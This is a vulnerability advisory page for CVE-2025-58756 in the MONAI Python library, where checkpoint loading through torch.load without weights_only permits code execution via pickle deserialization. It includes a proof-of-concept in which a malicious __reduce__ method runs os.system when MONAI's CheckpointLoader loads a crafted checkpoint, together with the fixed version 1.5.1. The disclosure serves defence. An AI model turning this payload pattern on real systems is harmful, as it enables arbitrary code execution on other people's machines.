Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. monai
  4. ›
  5. CVE-2025-58756

CVE-2025-58756: MONAI: Unsafe torch usage may lead to arbitrary code execution

September 9, 2025 (updated June 6, 2026)

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.


import os
import tempfile
import json
import torch
from pathlib import Path

class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))

def test_checkpoint_loader_attack():



temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"


malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}


torch.save(malicious_checkpoint, checkpoint_file)


from monai.handlers import CheckpointLoader
import torch.nn as nn


model = nn.Linear(10, 1)

loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)

class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0

engine = MockEngine()
loader(engine)


proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")

References

  • github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259
  • github.com/Project-MONAI/MONAI/pull/8566
  • github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj
  • github.com/advisories/GHSA-6vm5-6jv9-rjpj
  • github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-141.yaml
  • nvd.nist.gov/vuln/detail/CVE-2025-58756

Code Behaviors & Features

Detect and mitigate CVE-2025-58756 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions before 1.5.1

Fixed versions

  • 1.5.1

Solution

Upgrade to version 1.5.1 or above.

Impact 8.8 HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-502: Deserialization of Untrusted Data

Source file

pypi/monai/CVE-2025-58756.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sun, 08 Nov 2026 00:17:26 +0000.